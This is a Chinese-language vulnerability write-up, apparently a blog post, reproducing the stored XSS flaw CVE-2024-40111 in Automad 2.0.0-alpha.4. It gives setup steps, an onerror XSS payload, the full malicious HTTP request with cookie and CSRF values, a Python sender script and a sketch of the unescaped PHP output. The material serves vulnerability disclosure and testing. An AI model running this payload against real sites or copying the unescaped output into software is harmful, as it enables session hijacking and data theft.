Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞利用

CVE-2024-40111:Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞

项目描述

这是一个针对 Automad 2.0.0-alpha.4 版本的内容管理系统(CMS)的安全漏洞利用项目。Automad 是一款基于文件的轻量级 CMS,而此项目揭示了该版本中存在的一个严重安全缺陷------存储型跨站脚本(Stored XSS)漏洞。攻击者可利用该漏洞向模板主体中注入恶意 JavaScript 代码,这些代码会永久存储在服务器上,并在任何访问受影响页面的用户浏览器中执行。

功能特性

  • 漏洞复现:提供详细的步骤和HTTP请求,可复现CVE-2024-40111漏洞。
  • 存储型XSS利用:演示如何注入并持久化恶意脚本到CMS页面中。
  • 管理员权限操作:展示在拥有后台管理员权限时,通过编辑页面内容触发漏洞。
  • 完整请求示例:包含完整的HTTP请求头和请求体,便于测试和验证。
  • 多场景影响:注入的XSS代码可导致会话劫持、数据窃取、钓鱼攻击等后果。

安装指南

本项目为漏洞分析文档,无需安装额外软件。但若要复现漏洞,需满足以下环境要求:

系统要求

  • Automad版本:2.0.0-alpha.4
  • 测试环境:Docker 26.1.4、Debian GNU/Linux 11 (bullseye)
  • Web服务器:Nginx 1.24.0
  • PHP版本:8.3.6
  • 浏览器:任意支持JavaScript的现代浏览器

复现环境搭建(使用Docker)

  1. 从GitHub拉取Automad 2.0.0-alpha.4镜像或源码:

    bash 复制代码
    git clone https://github.com/marcantondahmen/automad.git
    cd automad
    git checkout 2.0.0-alpha.4
  2. 使用Docker构建并运行:

    bash 复制代码
    docker build -t automad:2.0.0-alpha.4 .
    docker run -p 80:80 automad:2.0.0-alpha.4
  3. 访问 http://localhost 完成Automad的初始安装配置,并创建管理员账户。

使用说明

漏洞利用步骤

  1. 登录后台 :使用管理员账户登录,访问 http://localhost/dashboard/home

  2. 编辑首页:在仪表盘中选择编辑默认的"Welcome"页面。

  3. 定位内容区块 :导航至 http://localhost/dashboard/page?url=%2F&section=text,编辑名为 Main 的区块。

  4. 注入XSS载荷:在文本编辑区域输入以下载荷:

    html 复制代码
    <img src=x onerror=alert(1)>
  5. 保存并触发 :保存页面修改,随后访问首页 http://localhost/,浏览器将弹出 alert(1) 对话框。

攻击请求示例

以下是对 /_api/page/data 接口发送的恶意请求(关键载荷部分):

http 复制代码
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb

WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>","large":false}}]}},"url":"/"}
WebKitFormBoundaryzHmXQBdtZsTYQYCv--

预期响应

http 复制代码
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 30

{"code":200,"time":1718911055}

漏洞验证

访问首页 http://localhost/,若弹出 alert(1) 对话框,则表示XSS漏洞成功触发。

核心代码

以下是漏洞利用中的核心载荷及请求构造逻辑:

XSS载荷注入片段

javascript 复制代码
// 恶意载荷
const xssPayload = '<img src=x onerror=alert(1)>';

// 注入到页面内容的JSON结构中
const maliciousData = {
    "data": {
        "+main": {
            "blocks": [
                {
                    "id": "lD9sUJki6gn463oRwjcY_ICq5oQPYZVP",
                    "type": "paragraph",
                    "data": {
                        "text": xssPayload,
                        "large": false
                    }
                }
            ]
        }
    },
    "url": "/"
};

请求发送函数(概念示例)

python 复制代码
import requests

# 目标URL和Cookie(需替换为实际值)
url = "http://localhost/_api/page/data"
cookies = {
    "Automad-8c069df52082beee3c95ca17836fb8e2": "d6ef49301b4eb159fbcb392e5137f6cb"
}

# 构造multipart/form-data请求
files = {
    "__csrf__": (None, "49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1"),
    "__json__": (None, '{"data":{"+main":{"blocks":[{"id":"test","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>"}}]},"url":"/"}}')
}

response = requests.post(url, cookies=cookies, files=files)
print(response.status_code, response.text)

服务端响应处理(Automad漏洞点模拟)

php 复制代码
// Automad中处理页面数据存储的简化逻辑(漏洞位置示意)
$jsonInput = $_POST['__json__'];
$pageData = json_decode($jsonInput, true);

// 未对用户输入的HTML内容进行充分的过滤或转义
$content = $pageData['data']['+main']['blocks'][0]['data']['text'];

// 存储到文件或数据库
savePageContent($content);

// 前端渲染时直接输出,导致XSS
echo $content;

6HFtX5dABrKlqXeO5PUv/2CeWfjxRzGcbKwZW03RE0axryGu0rTYkQimlZuBGv7l

相关推荐
QYR-分析2 小时前
重型自动驾驶地面车辆行业洞察:分类、格局与市场机遇
人工智能·机器学习·自动驾驶
惊鸿一博2 小时前
自动驾驶与大模型相关VLA4AD
人工智能·机器学习·自动驾驶
xixixi777772 小时前
Gartner 2026核心趋势:前置式主动安全(PCS)成为安全战略新范式,量子安全+国密算法构筑政企纵深防御底座
网络·人工智能·安全·web安全·ai·量子计算
Rubin智造社2 小时前
04月20日AI每日参考:华为AI眼镜今日发布,Meta裁员8000人押注AI文件格式
人工智能·claude code·ai硬件·华为ai眼镜·meta裁员·cerebras ipo·字节跳动seedance
带娃的IT创业者2 小时前
深度解析 Qwen3.6-35B-A3B:重塑 AI 编程代理的开源新标杆
人工智能·python·ai·开源·大模型·qwen·编程代理
亦暖筑序2 小时前
让 AI 客服真能用的 3 个模块:情绪感知 + 意图识别 + Agent 工具链
java·人工智能·后端
实在智能RPA2 小时前
内容运营自动化AI工具选型指南:2026企业级智能内容工程实践全解析
人工智能·ai·自动化·媒体
汀、人工智能2 小时前
AI Compass前沿速览:聚焦 HappyOyster、Qwen3.6-35B-A3B 与 Claude Opus 4.7
人工智能
星爷AG I2 小时前
19-12 语篇理解(AGI基础理论)
人工智能·agi